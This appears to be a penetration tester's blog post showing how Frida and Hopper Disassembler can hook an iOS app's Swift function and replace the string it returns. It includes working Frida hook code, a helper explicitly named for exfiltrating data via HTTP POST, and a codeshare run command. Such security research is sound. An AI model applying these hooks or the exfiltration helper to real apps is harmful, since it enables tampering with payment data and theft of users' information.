Introduction
A few days ago, while testing an iOS application designed for handling payments, I discovered an intriguing aspect of its data handling process. Before transferring sensitive data, the application invoked a function that returned a string containing these sensitive values. This revelation led me to question whether it was possible to intercept and modify these values. The answer, as it turned out, was a resounding yes. Using my favorite tools—Hopper Disassembler and Frida—I was able to manipulate these values. In this blog, I’ll walk you through the process using a fictional Swift code example.
Tools for Interception
To explore this, I used two powerful tools:
1. Hopper Disassembler: A tool for reverse engineering and analyzing the app’s binary code. It helps in understanding how the function generating the sensitive data works.
2. Frida: A dynamic instrumentation toolkit that allows for real-time code manipulation and function hooking. It enables me to intercept and modify the data on the fly.
Example Swift Code
For this blog, let’s use a fictional Swift code snippet to illustrate the process. Suppose we have the following Swift code that generates and returns sensitive data:
import UIKit
class ViewController: UIViewController {
@IBOutlet weak var label: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
}
@IBAction func showText(_ sender: Any) {
label.text = self.nome()
var test = nome()
}
func nome() -> String {
return "Diego"
}
}
The Hopper Disassembler Screenshot
From the Hopper Disassembler screenshot, we can see two critical elements:
1. The Target Function: Indicated by the number 1 in the screenshot.
2. The Swift String Initialization Call: Indicated by the number 2 in the screenshot.
The Swift String initialization call, marked with the number 2 in the screenshot, is crucial because it shows how strings are constructed in Swift.
So I developed the following Frida script to intercept and modify the returned string. Let’s break down the Frida script and explain each part in detail:
function replaceString(nameOfTheFunction, newString) {
// First, get the address of the custom function in memory
var someFunc = Module.findExportByName(null, nameOfTheFunction);
Interceptor.attach(someFunc, {
onEnter: function(args) {
console.log('Function called with new string length: ' + newString.length);
// Locate the address of the Swift built-in function for string literals
var toStringAddr = Module.findExportByName("libswiftFoundation.dylib", "$sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC");
Interceptor.attach(toStringAddr, {
onEnter(args) {
var builtinPointer = args[0];
var utf8CodeUnitCount = args[1];
var isASCII = args[2].toInt32();
// Log information about the string literal
console.log('Builtin.RawPointer: ' + builtinPointer.toString());
console.log('UTF8 Code Unit Count: ' + utf8CodeUnitCount);
console.log('Is ASCII: ' + isASCII);
// Modify the UTF8 code unit count with the length of the new string
args[1] = ptr(newString.length);
},
onLeave(retVal) {
// Replace the return value with the new string
retVal.replace(stringToHex(newString));
}
});
}
});
}
Additionally, I added a helper function to exfiltrate the data via a reques (The code below I found it online but I do not remember where):
function exfiltrate(url, method, content) {
var str = ObjC.classes.NSString['alloc']()['initWithString:'](content) ;
var postData = str.dataUsingEncoding_(4);
var len = str.length;
var strLength = ObjC.classes.NSString['stringWithFormat:']('%d', len);
var request = ObjC.classes.NSMutableURLRequest['alloc']()['init']();
var url = ObjC.classes.NSURL.URLWithString_(url);
var method = ObjC.classes.NSString['alloc']()['initWithString:'](method);
var httpF = ObjC.classes.NSString['alloc']()['initWithString:']('Content-Length');
var httpL = ObjC.classes.NSString['alloc']()['initWithString:']('Content-Type');
request.setURL_(url);
request.setHTTPMethod_(method);
request.setValue_forHTTPHeaderField_(strLength,httpF);
request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL);
request.setHTTPBody_(postData);
var nil = ObjC.Object(ptr("0x0"));
var d = ObjC.classes.NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil);
}
You can use the code via codeshare
frida --codeshare DiegoCaridei/swiftstringinterceptor -f YOUR_BINARY
If you enjoy this blog, please let me know—I would greatly appreciate any suggestions for future topics or posts.